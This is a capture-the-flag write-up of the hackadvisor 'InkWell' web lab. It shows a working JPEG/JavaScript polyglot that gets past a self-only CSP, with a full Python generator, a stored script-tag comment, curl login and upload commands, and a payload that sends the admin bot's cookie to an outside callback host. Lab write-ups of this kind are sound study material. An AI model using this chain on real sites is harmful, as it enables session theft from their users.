Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS
Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: jpeg_javascript_polyglot, same_origin_csp_bypass, stored_script_injection, path_based_cookie_exfiltration, admin_bot_trigger
Summary
Task: InkWell accepts JPEG avatars and raw comments under a self-only CSP, then sends an admin bot to reported comments. Solution: A same-origin JPEG/JavaScript polyglot loaded by a stored script tag executed in HeadlessChrome and leaked the flag cookie through an Interaction Server path.
Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS — hackadvisor
Description
InkWell is a multi-author blog with posts, image uploads, profiles, and comments. A strict Content Security Policy protects the site. The goal is to execute JavaScript in the administrator's browser and steal the flag cookie.
Credentials:
user@test.com / password123
InkWell looked resistant to ordinary stored XSS because Express/nginx returned a self-only CSP. The exploitable combination was an unsanitized comment, a same-origin avatar upload, missing response MIME metadata, and an admin review bot.
Reconnaissance
After authenticating, the relevant response headers were:
http read-only • copy allowedContent-Security-Policy: default-src 'self'; script-src 'self' X-Content-Type-Options: nosniff
The login could be reproduced without printing the resulting authenticated cookie:
bash read-only • copy allowedBASE='https://7debf38d-965d-4b9a-bb25-a7278f2400ea.labs.hackadvisor.io' curl -sS -c cookies.txt -X POST "$BASE/login" \ --data-urlencode 'email=user@test.com' \ --data-urlencode 'password=password123' \ -o /dev/null
The profile settings form accepted an avatar multipart field. It checked JPEG magic bytes, renamed accepted files to UUIDs, and exposed them at /uploads/<uuid>.jpg on the application origin. A .js filename caused an HTTP 500 response, while a valid JPEG uploaded as .jpg succeeded.
bash read-only • copy allowedcurl -sS -b cookies.txt -X POST "$BASE/profile/settings" \ -F 'avatar=@polyglot.jpg;type=image/jpeg'
Inspecting the resulting upload was crucial:
bash read-only • copy allowedcurl -skI "$BASE/uploads/f1e4aab4-7383-4c36-80fd-9626e2ee9dec.jpg"
The uploaded response retained X-Content-Type-Options: nosniff but had no Content-Type header. Thus there was no declared image/jpeg MIME type for nosniff to reject when the resource was requested as a script.
Comments supplied a second half of the chain. POST /api/comments accepted a literal <script> element, and the application rendered it without sanitization. POST /api/report-comment queued a selected comment for a HeadlessChrome administrator to review.
The HTML source also contained this honeypot value:
text read-only • copy allowedFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
It was an explicit platform decoy and was ignored. Only the cookie recovered from the administrator callback was treated as evidence.
Analysis
Why the CSP was bypassable
The policy blocked inline JavaScript and scripts from foreign origins, but it explicitly permitted scripts from 'self'. Uploading attacker-controlled bytes under /uploads/ therefore placed them on an allowed script origin.
The remaining problem was making one byte sequence valid enough for both consumers:
- The upload validator had to recognize a JPEG.
- The browser's JavaScript parser had to execute the same response.
A JPEG begins with the Start of Image and APP0 marker bytes ff d8 ff e0. The next two bytes are the big-endian APP0 segment length. Setting that length to 0x2f2a has two simultaneous meanings:
- JPEG interprets it as a valid segment length of 12,074 bytes.
- JavaScript decoded as ISO-8859-1 interprets bytes
2f 2aas/*, opening a block comment.
The large APP0 body hides JPEG data from the JavaScript parser. A JPEG COM segment then contains */=, which closes the JavaScript comment and turns the initial ISO-8859-1 identifier into an assignment target. The payload executes, opens another block comment, and a crafted trailer closes that comment before a line comment absorbs the JPEG EOI bytes.
The importing script must specify charset="ISO-8859-1"; otherwise the JPEG's arbitrary high bytes may fail JavaScript decoding before the comment construction can work.
Exploit chain
The complete chain was:
- Generate a valid JPEG/JavaScript polyglot.
- Upload it as the profile avatar, placing it at an application-origin
/uploads/*.jpgURL. - Store a comment containing an external script element whose
srcis that URL. - Set
charset="ISO-8859-1"so the polyglot parses as intended. - Report the malicious comment to trigger HeadlessChrome review.
- Let the JavaScript redirect the administrator to the Interaction Server with
document.cookieURL-encoded in the path.
This stored script element was used in the successful instance:
html read-only • copy allowed<script charset="ISO-8859-1" src="/uploads/f1e4aab4-7383-4c36-80fd-9626e2ee9dec.jpg"></script>
It was stored as comment 80, then comment 80 was submitted through /api/report-comment for administrator review.
Solution
Polyglot generator
The complete generator used for the successful callback was:
python read-only • copy allowed#!/usr/bin/env python3 """Generate a JPEG/JavaScript polyglot for the InkWell CSP bypass.""" from io import BytesIO from pathlib import Path from PIL import Image CALLBACK = "http://interact/7debf38d-965d-4b9a-bb25-a7278f2400ea/flag/" # Put the cookie in the URL path because the Interaction Server's compact log # view omits query strings. JAVASCRIPT = f"location='{CALLBACK}'+encodeURIComponent(document.cookie)" def main() -> None: out = BytesIO() Image.new("RGB", (16, 16), (35, 95, 145)).save(out, "JPEG", quality=75) original = out.getvalue() assert original[:4] == b"\xff\xd8\xff\xe0" old_app0_length = int.from_bytes(original[4:6], "big") old_app0_end = 4 + old_app0_length # 0x2f2a is both the JPEG APP0 segment length and JavaScript's `/*`. new_app0_length = 0x2F2A app0_data = original[6:old_app0_end] padding = b"\x00" * (new_app0_length - 2 - len(app0_data)) # JPEG COM data closes the JS comment, executes the payload, then opens a # new comment. ISO-8859-1 must be specified by the importing script tag. comment_data = b"*/=" + JAVASCRIPT.encode("ascii") + b";/*" jpeg_comment = b"\xff\xfe" + (len(comment_data) + 2).to_bytes(2, "big") + comment_data remainder = original[old_app0_end:] assert remainder.endswith(b"\xff\xd9") assert b"*/" not in remainder[:-2], "JPEG data unexpectedly closes JS comment" remainder = remainder[:-2] + b"*////" + remainder[-2:] polyglot = original[:4] + b"/*" + app0_data + padding + jpeg_comment + remainder Path("polyglot.jpg").write_bytes(polyglot) Path("polyglot.js").write_bytes(polyglot) print(f"wrote {len(polyglot)} bytes; payload: {JAVASCRIPT}") if __name__ == "__main__": main()
Generate and locally validate the carrier:
bash read-only • copy allowedpython3 make_polyglot.py python3 - <<'PY' from PIL import Image Image.open('polyglot.jpg').verify() print('valid JPEG') PY
Artifact verification showed a 12,810-byte valid JPEG, an APP0 length of 0x2f2a, and this COM payload:
javascript read-only • copy allowed*/=location='http://interact/7debf38d-965d-4b9a-bb25-a7278f2400ea/flag/'+encodeURIComponent(document.cookie);/*
After uploading the file, store the exact script element shown above as a normal comment. The application assigned it ID 80. Reporting that comment made the administrator visit the rendered page, where CSP allowed the /uploads/...jpg script because it was same-origin.
Path-based exfiltration nuance
The first payload used a conventional query string such as:
javascript read-only • copy allowedlocation='http://interact/INSTANCE/flag?cookie='+encodeURIComponent(document.cookie)
HeadlessChrome requested /flag, proving JavaScript execution, but the Interaction Server's compact logs omitted query parameters. The exploit itself worked; its telemetry was lossy. Moving the encoded cookie into the URL path made the value visible:
javascript read-only • copy allowedlocation='http://interact/INSTANCE/flag/'+encodeURIComponent(document.cookie)
The successful request path was:
text read-only • copy allowed/flag/flag%3DFLAG%7BREDACTED%7D
URL-decoding the suffix produced:
text read-only • copy allowedflag=FLAG{REDACTED}
This callback came from HeadlessChrome after reporting comment 80, confirming both code execution and theft of the real administrator flag cookie.